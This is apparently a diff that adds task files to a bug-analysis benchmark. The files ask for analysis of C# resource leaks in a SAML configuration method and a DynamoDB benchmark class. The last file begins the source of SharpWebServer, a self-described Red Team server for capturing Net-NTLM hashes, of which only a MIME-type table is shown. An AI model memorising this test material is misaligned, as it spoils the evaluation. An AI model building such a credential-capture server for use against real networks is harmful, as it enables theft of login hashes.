+            entityDescriptor.ReadIdPSsoDescriptorFromUrl(new Uri(Saml2IdPMetadata));
+            if (entityDescriptor.IdPSsoDescriptor != null)
+            {
+                saml2Configuration.AllowedIssuer = entityDescriptor.EntityId;
+                saml2Configuration.SingleSignOnDestination = entityDescriptor.IdPSsoDescriptor.SingleSignOnServices.First().Location;
+                saml2Configuration.SingleLogoutDestination = entityDescriptor.IdPSsoDescriptor.SingleLogoutServices.First().Location;
+                saml2Configuration.SignatureValidationCertificates.AddRange(entityDescriptor.IdPSsoDescriptor.SigningCertificates);
+            }
+            else
+            {
+                throw new Exception("IdPSsoDescriptor not loaded from metadata.");
+            }
+
+            return saml2Configuration;
+        }
+
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource rsa of type Microsoft.Azure.KeyVault.RSAKeyVault, Leaked resource (output of ITfoxtec.Identity.Saml2.Cryptography.Saml2X509Certificate::.ctor() at Line 40) of type ITfoxtec.Identity.Saml2.Cryptography.Saml2X509Certificate in method "Saml2Configuration Saml2ConfigurationLogic.GetSaml2Configuration()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Saml2Configuration Saml2ConfigurationLogic.GetSaml2Configuration()
+
+### File:
+test/TestWebAppCoreAzureKeyVault/Logic/Saml2ConfigurationLogic.cs
+
+### Key:
+Saml2ConfigurationLogic.cs|GetSaml2Configuration|DOTNET_RESOURCE_LEAK
+
+### Hash:
+d0e5516d65a380407263db9286585190
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1270/instruction.md b/inferredbugs-1270/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..325710440d6d020f971924618afbb129da0b95de
--- /dev/null
+++ b/inferredbugs-1270/instruction.md
@@ -0,0 +1,132 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** EfficientDynamoDb
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Threading.Tasks;
+using Amazon;
+using Amazon.DynamoDBv2;
+using Amazon.DynamoDBv2.DataModel;
+using Amazon.Runtime;
+using BenchmarkDotNet.Attributes;
+using BenchmarkDotNet.Order;
+using Benchmarks.AwsDdbSdk.Entities;
+using Benchmarks.Http;
+using Benchmarks.Mocks;
+using EfficientDynamoDb.DocumentModel;
+using EfficientDynamoDb.Internal.Crc;
+
+namespace Benchmarks.AwsDdbSdk.Benchmarks
+{
+    [Orderer(SummaryOrderPolicy.FastestToSlowest)]
+    [MemoryDiagnoser]
+    public abstract class DdbBenchmarkBase
+    {
+        [Params(10, 100, 1000)]
+        public int EntitiesCount;
+        
+        private byte[] _responseContentBytes;
+        
+        protected DynamoDBContext DbContext { get; }
+        protected AmazonDynamoDBClient DbClient { get; }
+
+        protected abstract Task<IReadOnlyCollection<object>> QueryAsync<T>(string pk) where T: KeysOnlyEntity, new();
+
+        protected DdbBenchmarkBase() => (DbContext, DbClient) = GetContext();
+
+        protected async Task<int> RunBenchmarkAsync<T>(string pk) where T: KeysOnlyEntity, new()
+        {
+            var result = await QueryAsync<T>(pk).ConfigureAwait(false);
+
+            return result.Count;
+        }
+
+        protected void SetupBenchmark<T>(Func<int, Document> entityFactory) where T: KeysOnlyEntity, new()
+        {
+            _responseContentBytes = QueryResponseFactory.CreateResponse(entityFactory, EntitiesCount);
+        }
+        
+        protected HttpResponseMessage CreateResponse(HttpRequestMessage request)
+        {
+            return new HttpResponseMessage(HttpStatusCode.OK)
+            {
+                Content = new ByteArrayContent(_responseContentBytes),
+                Headers = {{"x-amz-crc32", Crc32Algorithm.Compute(_responseContentBytes).ToString()}}
+            };
+        }
+        
+        private (DynamoDBContext dbContext, AmazonDynamoDBClient dbClient) GetContext()
+        {
+            var ddbConfig = new AmazonDynamoDBConfig {RegionEndpoint = RegionEndpoint.USEast1, HttpClientFactory = new MockHttpClientFactory(CreateResponse)};
+            var dbClient = new AmazonDynamoDBClient(
+                new BasicAWSCredentials(Environment.GetEnvironmentVariable("DEV_AWS_PUBLIC_KEY"), Environment.GetEnvironmentVariable("DEV_AWS_PRIVATE_KEY")),
+                ddbConfig);
+
+            var contextConfig = new DynamoDBContextConfig
+            {
+                TableNamePrefix = "production_",
+                Conversion = DynamoDBEntryConversion.V2
+            };
+
+            return (new DynamoDBContext(dbClient, contextConfig), dbClient);
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type System.Net.Http.HttpResponseMessage, Leaked resource (output of System.Net.Http.ByteArrayContent::.ctor() at Line 51) of type System.Net.Http.ByteArrayContent in method "HttpResponseMessage DdbBenchmarkBase.CreateResponse(HttpRequestMessage)".
+
+### Severity:
+ERROR
+
+### Procedure:
+HttpResponseMessage DdbBenchmarkBase.CreateResponse(HttpRequestMessage)
+
+### File:
+src/Benchmarks/AwsDdbSdk/Benchmarks/DdbBenchmarkBase.cs
+
+### Key:
+DdbBenchmarkBase.cs|CreateResponse|DOTNET_RESOURCE_LEAK
+
+### Hash:
+90c7dbd39f7819c0be7135485c216a93
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1277/instruction.md b/inferredbugs-1277/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..faa474702002fafe77b6965a4bc485bf6e6ac362
--- /dev/null
+++ b/inferredbugs-1277/instruction.md
@@ -0,0 +1,1816 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SharpWebServer
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+//
+// SharpWebServer
+//
+// Purpose:
+//   A Red Team oriented C# Simple HTTP & WebDAV Server with Net-NTLM hashes capture functionality.
+//   Requires .NET Framework 4.5 and System.Net and System.Net.Sockets references.
+//
+// This project borrows code from:
+//   - NTLM hashes capture code & TCP Listener backbone borrowed from MDSec ActiveBreach Farmer project written by Dominic Chell (@domchell):
+//      https://github.com/mdsecactivebreach/Farmer
+//
+// Patchworked by:
+//   Mariusz B. / mgeeky, '21, <mb [at] binary-offensive.com>
+//
+
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Threading;
+using System.Net.NetworkInformation;
+using System.IO;
+using System.Collections;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Xml;
+using System.Text;
+
+namespace SharpWebServer
+{
+    public class SharpWebServer
+    {
+        private readonly string[] _IndexFiles = {
+            "index.html",
+            "index.htm",
+            "default.html",
+            "default.htm"
+        };
+
+        static private string outputToFile = "";
+
+        private static IDictionary<string, string> _MimeTypeMappings = new Dictionary<string, string>(StringComparer.InvariantCultureIgnoreCase) {
+            #region extension to MIME type list
+             {".123", "application/vnd.lotus-1-2-3"},
+             {".3dml", "text/vnd.in3d.3dml"},
+             {".3g2", "video/3gpp2"},
+             {".3gp", "video/3gpp"},
+             {".a", "application/octet-stream"},
+             {".aab", "application/x-authorware-bin"},
+             {".aac", "audio/x-aac"},
+             {".aam", "application/x-authorware-map"},
+             {".aas", "application/x-authorware-seg"},
+             {".abw", "application/x-abiword"},
+             {".acc", "application/vnd.americandynamics.acc"},
+             {".ace", "application/x-ace-compressed"},
+             {".acu", "application/vnd.acucobol"},
+             {".acutc", "application/vnd.acucorp"},
+             {".adp", "audio/adpcm"},
+             {".aep", "application/vnd.audiograph"},
+             {".afm", "application/x-font-type1"},
+             {".afp", "application/vnd.ibm.modcap"},
+             {".ai", "application/postscript"},
+             {".aif", "audio/x-aiff"},
+             {".aifc", "audio/x-aiff"},
+             {".aiff", "audio/x-aiff"},
+             {".air", "application/vnd.adobe.air-application-installer-package+zip"},
+             {".ami", "application/vnd.amiga.ami"},
+             {".apk", "application/vnd.android.package-archive"},
+             {".application", "application/x-ms-application"},
+             {".apr", "application/vnd.lotus-approach"},
+             {".asc", "application/pgp-signature"},
+             {".asf", "video/x-ms-asf"},
+             {".asm", "text/x-asm"},
+             {".aso", "application/vnd.accpac.simply.aso"},
+             {".asx", "video/x-ms-asf"},
+             {".atc", "application/vnd.acucorp"},
+             {".atom", "application/atom+xml"},
+             {".atomcat", "application/atomcat+xml"},
+             {".atomsvc", "application/atomsvc+xml"},
+             {".atx", "application/vnd.antix.game-component"},
+             {".au", "audio/basic"},
+             {".avi", "video/x-msvideo"},
+             {".aw", "application/applixware"},
+             {".azf", "application/vnd.airzip.filesecure.azf"},
+             {".azs", "application/vnd.airzip.filesecure.azs"},
+             {".azw", "application/vnd.amazon.ebook"},
+             {".bat", "application/x-msdownload"},
+             {".bcpio", "application/x-bcpio"},
+             {".bdf", "application/x-font-bdf"},
+             {".bdm", "application/vnd.syncml.dm+wbxml"},
+             {".bh2", "application/vnd.fujitsu.oasysprs"},
+             {".bin", "application/octet-stream"},
+             {".bmi", "application/vnd.bmi"},
+             {".bmp", "image/bmp"},
+             {".book", "application/vnd.framemaker"},
+             {".box", "application/vnd.previewsystems.box"},
+             {".boz", "application/x-bzip2"},
+             {".bpk", "application/octet-stream"},
+             {".btif", "image/prs.btif"},
+             {".bz", "application/x-bzip"},
+             {".bz2", "application/x-bzip2"},
+             {".c", "text/x-c"},
+             {".c4d", "application/vnd.clonk.c4group"},
+             {".c4f", "application/vnd.clonk.c4group"},
+             {".c4g", "application/vnd.clonk.c4group"},
+             {".c4p", "application/vnd.clonk.c4group"},
+             {".c4u", "application/vnd.clonk.c4group"},
+             {".cab", "application/vnd.ms-cab-compressed"},
+             {".car", "application/vnd.curl.car"},
+             {".cat", "application/vnd.ms-pki.seccat"},
+             {".cc", "text/x-c"},
+             {".cct", "application/x-director"},
+             {".ccxml", "application/ccxml+xml"},
+             {".cdbcmsg", "application/vnd.contact.cmsg"},
+             {".cdf", "application/x-netcdf"},
+             {".cdkey", "application/vnd.mediastation.cdkey"},
+             {".cdx", "chemical/x-cdx"},
+             {".cdxml", "application/vnd.chemdraw+xml"},
+             {".cdy", "application/vnd.cinderella"},
+             {".cer", "application/pkix-cert"},
+             {".cgm", "image/cgm"},
+             {".chat", "application/x-chat"},
+             {".chm", "application/vnd.ms-htmlhelp"},
+             {".chrt", "application/vnd.kde.kchart"},
+             {".cif", "chemical/x-cif"},
+             {".cii", "application/vnd.anser-web-certificate-issue-initiation"},
+             {".cil", "application/vnd.ms-artgalry"},
+             {".cla", "application/vnd.claymore"},
+             {".class", "application/java-vm"},
+             {".clkk", "application/vnd.crick.clicker.keyboard"},
+             {".clkp", "application/vnd.crick.clicker.palette"},
+             {".clkt", "application/vnd.crick.clicker.template"},
+             {".clkw", "application/vnd.crick.clicker.wordbank"},
+             {".clkx", "application/vnd.crick.clicker"},
+             {".clp", "application/x-msclip"},
+             {".cmc", "application/vnd.cosmocaller"},
+             {".cmdf", "chemical/x-cmdf"},
+             {".cml", "chemical/x-cml"},
+             {".cmp", "application/vnd.yellowriver-custom-menu"},
+             {".cmx", "image/x-cmx"},
+             {".cod", "application/vnd.rim.cod"},
+             {".com", "application/x-msdownload"},
+             {".conf", "text/plain"},
+             {".cpio", "application/x-cpio"},
+             {".cpp", "text/x-c"},
+             {".cpt", "application/mac-compactpro"},
+             {".crd", "application/x-mscardfile"},
+             {".crl", "application/pkix-crl"},
+             {".crt", "application/x-x509-ca-cert"},
+             {".csh", "application/x-csh"},
+             {".csml", "chemical/x-csml"},
+             {".csp", "application/vnd.commonspace"},
+             {".css", "text/css"},
+             {".cst", "application/x-director"},
+             {".csv", "text/csv"},
+             {".cu", "application/cu-seeme"},
+             {".curl", "text/vnd.curl"},
+             {".cww", "application/prs.cww"},
+             {".cxt", "application/x-director"},
+             {".cxx", "text/x-c"},
+             {".daf", "application/vnd.mobius.daf"},
+             {".dataless", "application/vnd.fdsn.seed"},
+             {".davmount", "application/davmount+xml"},
+             {".dcr", "application/x-director"},
+             {".dcurl", "text/vnd.curl.dcurl"},
+             {".dd2", "application/vnd.oma.dd2+xml"},
+             {".ddd", "application/vnd.fujixerox.ddd"},
+             {".deb", "application/x-debian-package"},
+             {".def", "text/plain"},
+             {".deploy", "application/octet-stream"},
+             {".der", "application/x-x509-ca-cert"},
+             {".dfac", "application/vnd.dreamfactory"},
+             {".dic", "text/x-c"},
+             {".diff", "text/plain"},
+             {".dir", "application/x-director"},
+             {".dis", "application/vnd.mobius.dis"},
+             {".dist", "application/octet-stream"},
+             {".distz", "application/octet-stream"},
+             {".djv", "image/vnd.djvu"},
+             {".djvu", "image/vnd.djvu"},
+             {".dll", "application/x-msdownload"},
+             {".dmg", "application/octet-stream"},
+             {".dms", "application/octet-stream"},
+             {".dna", "application/vnd.dna"},
+             {".doc", "application/msword"},
+             {".docm", "application/vnd.ms-word.document.macroenabled.12"},
+             {".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"},
+             {".dot", "application/msword"},
+             {".dotm", "application/vnd.ms-word.template.macroenabled.12"},
+             {".dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"},
+             {".dp", "application/vnd.osgi.dp"},
+             {".dpg", "application/vnd.dpgraph"},
+             {".dsc", "text/prs.lines.tag"},
+             {".dtb", "application/x-dtbook+xml"},
+             {".dtd", "application/xml-dtd"},
+             {".dts", "audio/vnd.dts"},
+             {".dtshd", "audio/vnd.dts.hd"},
+             {".dump", "application/octet-stream"},
+             {".dvi", "application/x-dvi"},
+             {".dwf", "model/vnd.dwf"},
+             {".dwg", "image/vnd.dwg"},
+             {".dxf", "image/vnd.dxf"},
+             {".dxp", "application/vnd.spotfire.dxp"},
+             {".dxr", "application/x-director"},
+             {".ecelp4800", "audio/vnd.nuera.ecelp4800"},
+             {".ecelp7470", "audio/vnd.nuera.ecelp7470"},
+             {".ecelp9600", "audio/vnd.nuera.ecelp9600"},
+             {".ecma", "application/ecmascript"},
+             {".edm", "application/vnd.novadigm.edm"},
+             {".edx", "application/vnd.novadigm.edx"},
+             {".efif", "application/vnd.picsel"},
+             {".ei6", "application/vnd.pg.osasli"},
+             {".elc", "application/octet-stream"},
+             {".eml", "message/rfc822"},
+             {".emma", "application/emma+xml"},
+             {".eol", "audio/vnd.digital-winds"},
+             {".eot", "application/vnd.ms-fontobject"},
+             {".eps", "application/postscript"},
+             {".epub", "application/epub+zip"},
+             {".es3", "application/vnd.eszigno3+xml"},
+             {".esf", "application/vnd.epson.esf"},
+             {".et3", "application/vnd.eszigno3+xml"},
+             {".etx", "text/x-setext"},
+             {".exe", "application/x-msdownload"},
+             {".ext", "application/vnd.novadigm.ext"},
+             {".ez", "application/andrew-inset"},
+             {".ez2", "application/vnd.ezpix-album"},
+             {".ez3", "application/vnd.ezpix-package"},
+             {".f", "text/x-fortran"},
+             {".f4v", "video/x-f4v"},
+             {".f77", "text/x-fortran"},
+             {".f90", "text/x-fortran"},
+             {".fbs", "image/vnd.fastbidsheet"},
+             {".fdf", "application/vnd.fdf"},
+             {".fe_launch", "application/vnd.denovo.fcselayout-link"},
+             {".fg5", "application/vnd.fujitsu.oasysgp"},
+             {".fgd", "application/x-director"},
+             {".fh", "image/x-freehand"},
+             {".fh4", "image/x-freehand"},
+             {".fh5", "image/x-freehand"},
+             {".fh7", "image/x-freehand"},
+             {".fhc", "image/x-freehand"},
+             {".fig", "application/x-xfig"},
+             {".fli", "video/x-fli"},
+             {".flo", "application/vnd.micrografx.flo"},
+             {".flv", "video/x-flv"},
+             {".flw", "application/vnd.kde.kivio"},
+             {".flx", "text/vnd.fmi.flexstor"},
+             {".fly", "text/vnd.fly"},
+             {".fm", "application/vnd.framemaker"},
+             {".fnc", "application/vnd.frogans.fnc"},
+             {".for", "text/x-fortran"},
+             {".fpx", "image/vnd.fpx"},
+             {".frame", "application/vnd.framemaker"},
+             {".fsc", "application/vnd.fsc.weblaunch"},
+             {".fst", "image/vnd.fst"},
+             {".ftc", "application/vnd.fluxtime.clip"},
+             {".fti", "application/vnd.anser-web-funds-transfer-initiation"},
+             {".fvt", "video/vnd.fvt"},
+             {".fzs", "application/vnd.fuzzysheet"},
+             {".g3", "image/g3fax"},
+             {".gac", "application/vnd.groove-account"},
+             {".gdl", "model/vnd.gdl"},
+             {".geo", "application/vnd.dynageo"},
+             {".gex", "application/vnd.geometry-explorer"},
+             {".ggb", "application/vnd.geogebra.file"},
+             {".ggt", "application/vnd.geogebra.tool"},
+             {".ghf", "application/vnd.groove-help"},
+             {".gif", "image/gif"},
+             {".gim", "application/vnd.groove-identity-message"},
+             {".gmx", "application/vnd.gmx"},
+             {".gnumeric", "application/x-gnumeric"},
+             {".gph", "application/vnd.flographit"},
+             {".gqf", "application/vnd.grafeq"},
+             {".gqs", "application/vnd.grafeq"},
+             {".gram", "application/srgs"},
+             {".gre", "application/vnd.geometry-explorer"},
+             {".grv", "application/vnd.groove-injector"},
+             {".grxml", "application/srgs+xml"},
+             {".gsf", "application/x-font-ghostscript"},
+             {".gtar", "application/x-gtar"},
+             {".gtm", "application/vnd.groove-tool-message"},
+             {".gtw", "model/vnd.gtw"},
+             {".gv", "text/vnd.graphviz"},
+             {".gz", "application/x-gzip"},
+             {".h", "text/x-c"},
+             {".h261", "video/h261"},
+             {".h263", "video/h263"},
+             {".h264", "video/h264"},
+             {".hbci", "application/vnd.hbci"},
+             {".hdf", "application/x-hdf"},
+             {".hh", "text/x-c"},
+             {".hlp", "application/winhlp"},
+             {".hpgl", "application/vnd.hp-hpgl"},
+             {".hpid", "application/vnd.hp-hpid"},
+             {".hps", "application/vnd.hp-hps"},
+             {".hqx", "application/mac-binhex40"},
+             {".htke", "application/vnd.kenameaapp"},
+             {".htm", "text/html"},
+             {".html", "text/html"},
+             {".hvd", "application/vnd.yamaha.hv-dic"},
+             {".hvp", "application/vnd.yamaha.hv-voice"},
+             {".hvs", "application/vnd.yamaha.hv-script"},
+             {".icc", "application/vnd.iccprofile"},
+             {".ice", "x-conference/x-cooltalk"},
+             {".icm", "application/vnd.iccprofile"},
+             {".ico", "image/x-icon"},
+             {".ics", "text/calendar"},
+             {".ief", "image/ief"},
+             {".ifb", "text/calendar"},
+             {".ifm", "application/vnd.shana.informed.formdata"},
+             {".iges", "model/iges"},
+             {".igl", "application/vnd.igloader"},
+             {".igs", "model/iges"},
+             {".igx", "application/vnd.micrografx.igx"},
+             {".iif", "application/vnd.shana.informed.interchange"},
+             {".imp", "application/vnd.accpac.simply.imp"},
+             {".ims", "application/vnd.ms-ims"},
+             {".in", "text/plain"},
+             {".ipk", "application/vnd.shana.informed.package"},
+             {".irm", "application/vnd.ibm.rights-management"},
+             {".irp", "application/vnd.irepository.package+xml"},
+             {".iso", "application/octet-stream"},
+             {".itp", "application/vnd.shana.informed.formtemplate"},
+             {".ivp", "application/vnd.immervision-ivp"},
+             {".ivu", "application/vnd.immervision-ivu"},
+             {".jad", "text/vnd.sun.j2me.app-descriptor"},
+             {".jam", "application/vnd.jam"},
+             {".jar", "application/java-archive"},
+             {".java", "text/x-java-source"},
+             {".jisp", "application/vnd.jisp"},
+             {".jlt", "application/vnd.hp-jlyt"},
+             {".jnlp", "application/x-java-jnlp-file"},
+             {".joda", "application/vnd.joost.joda-archive"},
+             {".jpe", "image/jpeg"},
+             {".jpeg", "image/jpeg"},
+             {".jpg", "image/jpeg"},
+             {".jpgm", "video/jpm"},
+             {".jpgv", "video/jpeg"},
+             {".jpm", "video/jpm"},
+             {".js", "application/javascript"},
+             {".json", "application/json"},
+             {".kar", "audio/midi"},
+             {".karbon", "application/vnd.kde.karbon"},
+             {".kfo", "application/vnd.kde.kformula"},
+             {".kia", "application/vnd.kidspiration"},
+             {".kil", "application/x-killustrator"},
+             {".kml", "application/vnd.google-earth.kml+xml"},
+             {".kmz", "application/vnd.google-earth.kmz"},
+             {".kne", "application/vnd.kinar"},
+             {".knp", "application/vnd.kinar"},
+             {".kon", "application/vnd.kde.kontour"},
+             {".kpr", "application/vnd.kde.kpresenter"},
+             {".kpt", "application/vnd.kde.kpresenter"},
+             {".ksh", "text/plain"},
+             {".ksp", "application/vnd.kde.kspread"},
+             {".ktr", "application/vnd.kahootz"},
+             {".ktz", "application/vnd.kahootz"},
+             {".kwd", "application/vnd.kde.kword"},
+             {".kwt", "application/vnd.kde.kword"},
+             {".latex", "application/x-latex"},
+             {".lbd", "application/vnd.llamagraphics.life-balance.desktop"},
+             {".lbe", "application/vnd.llamagraphics.life-balance.exchange+xml"},
+             {".les", "application/vnd.hhe.lesson-player"},
+             {".lha", "application/octet-stream"},
+             {".link66", "application/vnd.route66.link66+xml"},
+             {".list", "text/plain"},
+             {".list3820", "application/vnd.ibm.modcap"},
+             {".listafp", "application/vnd.ibm.modcap"},
+             {".log", "text/plain"},
+             {".lostxml", "application/lost+xml"},
+             {".lrf", "application/octet-stream"},
+             {".lrm", "application/vnd.ms-lrm"},
+             {".ltf", "application/vnd.frogans.ltf"},
+             {".lvp", "audio/vnd.lucent.voice"},
+             {".lwp", "application/vnd.lotus-wordpro"},
+             {".lzh", "application/octet-stream"},
+             {".m13", "application/x-msmediaview"},
+             {".m14", "application/x-msmediaview"},
+             {".m1v", "video/mpeg"},
+             {".m2a", "audio/mpeg"},
+             {".m2v", "video/mpeg"},
+             {".m3a", "audio/mpeg"},
+             {".m3u", "audio/x-mpegurl"},
+             {".m4u", "video/vnd.mpegurl"},
+             {".m4v", "video/x-m4v"},
+             {".ma", "application/mathematica"},
+             {".mag", "application/vnd.ecowin.chart"},
+             {".maker", "application/vnd.framemaker"},
+             {".man", "text/troff"},
+             {".mathml", "application/mathml+xml"},
+             {".mb", "application/mathematica"},
+             {".mbk", "application/vnd.mobius.mbk"},
+             {".mbox", "application/mbox"},
+             {".mc1", "application/vnd.medcalcdata"},
+             {".mcd", "application/vnd.mcd"},
+             {".mcurl", "text/vnd.curl.mcurl"},
+             {".mdb", "application/x-msaccess"},
+             {".mdi", "image/vnd.ms-modi"},
+             {".me", "text/troff"},
+             {".mesh", "model/mesh"},
+             {".mfm", "application/vnd.mfmp"},
+             {".mgz", "application/vnd.proteus.magazine"},
+             {".mht", "message/rfc822"},
+             {".mhtml", "message/rfc822"},
+             {".mid", "audio/midi"},
+             {".midi", "audio/midi"},
+             {".mif", "application/vnd.mif"},
+             {".mime", "message/rfc822"},
+             {".mj2", "video/mj2"},
+             {".mjp2", "video/mj2"},
+             {".mlp", "application/vnd.dolby.mlp"},
+             {".mmd", "application/vnd.chipnuts.karaoke-mmd"},
+             {".mmf", "application/vnd.smaf"},
+             {".mmr", "image/vnd.fujixerox.edmics-mmr"},
+             {".mny", "application/x-msmoney"},
+             {".mobi", "application/x-mobipocket-ebook"},
+             {".mov", "video/quicktime"},
+             {".movie", "video/x-sgi-movie"},
+             {".mp2", "audio/mpeg"},
+             {".mp2a", "audio/mpeg"},
+             {".mp3", "audio/mpeg"},
+             {".mp4", "video/mp4"},
+             {".mp4a", "audio/mp4"},
+             {".mp4s", "application/mp4"},
+             {".mp4v", "video/mp4"},
+             {".mpa", "video/mpeg"},
+             {".mpc", "application/vnd.mophun.certificate"},
+             {".mpe", "video/mpeg"},
+             {".mpeg", "video/mpeg"},
+             {".mpg", "video/mpeg"},
+             {".mpg4", "video/mp4"},
+             {".mpga", "audio/mpeg"},
+             {".mpkg", "application/vnd.apple.installer+xml"},
+             {".mpm", "application/vnd.blueice.multipass"},
+             {".mpn", "application/vnd.mophun.application"},
+             {".mpp", "application/vnd.ms-project"},
+             {".mpt", "application/vnd.ms-project"},
+             {".mpy", "application/vnd.ibm.minipay"},
+             {".mqy", "application/vnd.mobius.mqy"},
+             {".mrc", "application/marc"},
+             {".ms", "text/troff"},
+             {".mscml", "application/mediaservercontrol+xml"},
+             {".mseed", "application/vnd.fdsn.mseed"},
+             {".mseq", "application/vnd.mseq"},
+             {".msf", "application/vnd.epson.msf"},
+             {".msh", "model/mesh"},
+             {".msi", "application/x-msdownload"},
+             {".msl", "application/vnd.mobius.msl"},
+             {".msty", "application/vnd.muvee.style"},
+             {".mts", "model/vnd.mts"},
+             {".mus", "application/vnd.musician"},
+             {".musicxml", "application/vnd.recordare.musicxml+xml"},
+             {".mvb", "application/x-msmediaview"},
+             {".mwf", "application/vnd.mfer"},
+             {".mxf", "application/mxf"},
+             {".mxl", "application/vnd.recordare.musicxml"},
+             {".mxml", "application/xv+xml"},
+             {".mxs", "application/vnd.triscape.mxs"},
+             {".mxu", "video/vnd.mpegurl"},
+             {".n-gage", "application/vnd.nokia.n-gage.symbian.install"},
+             {".nb", "application/mathematica"},
+             {".nc", "application/x-netcdf"},
+             {".ncx", "application/x-dtbncx+xml"},
+             {".ngdat", "application/vnd.nokia.n-gage.data"},
+             {".nlu", "application/vnd.neurolanguage.nlu"},
+             {".nml", "application/vnd.enliven"},
+             {".nnd", "application/vnd.noblenet-directory"},
+             {".nns", "application/vnd.noblenet-sealer"},
+             {".nnw", "application/vnd.noblenet-web"},
+             {".npx", "image/vnd.net-fpx"},
+             {".nsf", "application/vnd.lotus-notes"},
+             {".nws", "message/rfc822"},
+             {".o", "application/octet-stream"},
+             {".oa2", "application/vnd.fujitsu.oasys2"},
+             {".oa3", "application/vnd.fujitsu.oasys3"},
+             {".oas", "application/vnd.fujitsu.oasys"},
+             {".obd", "application/x-msbinder"},
+             {".obj", "application/octet-stream"},
+             {".oda", "application/oda"},
+             {".odb", "application/vnd.oasis.opendocument.database"},
+             {".odc", "application/vnd.oasis.opendocument.chart"},
+             {".odf", "application/vnd.oasis.opendocument.formula"},
+             {".odft", "application/vnd.oasis.opendocument.formula-template"},
+             {".odg", "application/vnd.oasis.opendocument.graphics"},
+             {".odi", "application/vnd.oasis.opendocument.image"},
+             {".odp", "application/vnd.oasis.opendocument.presentation"},
+             {".ods", "application/vnd.oasis.opendocument.spreadsheet"},
+             {".odt", "application/vnd.oasis.opendocument.text"},
+             {".oga", "audio/ogg"},
+             {".ogg", "audio/ogg"},
+             {".ogv", "video/ogg"},
+             {".ogx", "application/ogg"},
+             {".onepkg", "application/onenote"},
+             {".onetmp", "application/onenote"},
+             {".onetoc", "application/onenote"},
+             {".onetoc2", "application/onenote"},
+             {".opf", "application/oebps-package+xml"},
+             {".oprc", "application/vnd.palm"},
+             {".org", "application/vnd.lotus-organizer"},
+             {".osf", "application/vnd.yamaha.openscoreformat"},
+             {".osfpvg", "application/vnd.yamaha.openscoreformat.osfpvg+xml"},
+             {".otc", "application/vnd.oasis.opendocument.chart-template"},
+             {".otf", "application/x-font-otf"},
+             {".otg", "application/vnd.oasis.opendocument.graphics-template"},
+             {".oth", "application/vnd.oasis.opendocument.text-web"},
+             {".oti", "application/vnd.oasis.opendocument.image-template"},
+             {".otm", "application/vnd.oasis.opendocument.text-master"},
+             {".otp", "application/vnd.oasis.opendocument.presentation-template"},
+             {".ots", "application/vnd.oasis.opendocument.spreadsheet-template"},
+             {".ott", "application/vnd.oasis.opendocument.text-template"},
+             {".oxt", "application/vnd.openofficeorg.extension"},
+             {".p", "text/x-pascal"},
+             {".p10", "application/pkcs10"},
+             {".p12", "application/x-pkcs12"},
+             {".p7b", "application/x-pkcs7-certificates"},
+             {".p7c", "application/pkcs7-mime"},
+             {".p7m", "application/pkcs7-mime"},
+             {".p7r", "application/x-pkcs7-certreqresp"},
+             {".p7s", "application/pkcs7-signature"},
+             {".pas", "text/x-pascal"},
+             {".pbd", "application/vnd.powerbuilder6"},
+             {".pbm", "image/x-portable-bitmap"},
+             {".pcf", "application/x-font-pcf"},
+             {".pcl", "application/vnd.hp-pcl"},
+             {".pclxl", "application/vnd.hp-pclxl"},
+             {".pct", "image/x-pict"},
+             {".pcurl", "application/vnd.curl.pcurl"},
+             {".pcx", "image/x-pcx"},
+             {".pdb", "application/vnd.palm"},
+             {".pdf", "application/pdf"},
+             {".pfa", "application/x-font-type1"},
+             {".pfb", "application/x-font-type1"},
+             {".pfm", "application/x-font-type1"},
+             {".pfr", "application/font-tdpfr"},
+             {".pfx", "application/x-pkcs12"},
+             {".pgm", "image/x-portable-graymap"},
+             {".pgn", "application/x-chess-pgn"},
+             {".pgp", "application/pgp-encrypted"},
+             {".pic", "image/x-pict"},
+             {".pkg", "application/octet-stream"},
+             {".pki", "application/pkixcmp"},
+             {".pkipath", "application/pkix-pkipath"},
+             {".pl", "text/plain"},
+             {".plb", "application/vnd.3gpp.pic-bw-large"},
+             {".plc", "application/vnd.mobius.plc"},
+             {".plf", "application/vnd.pocketlearn"},
+             {".pls", "application/pls+xml"},
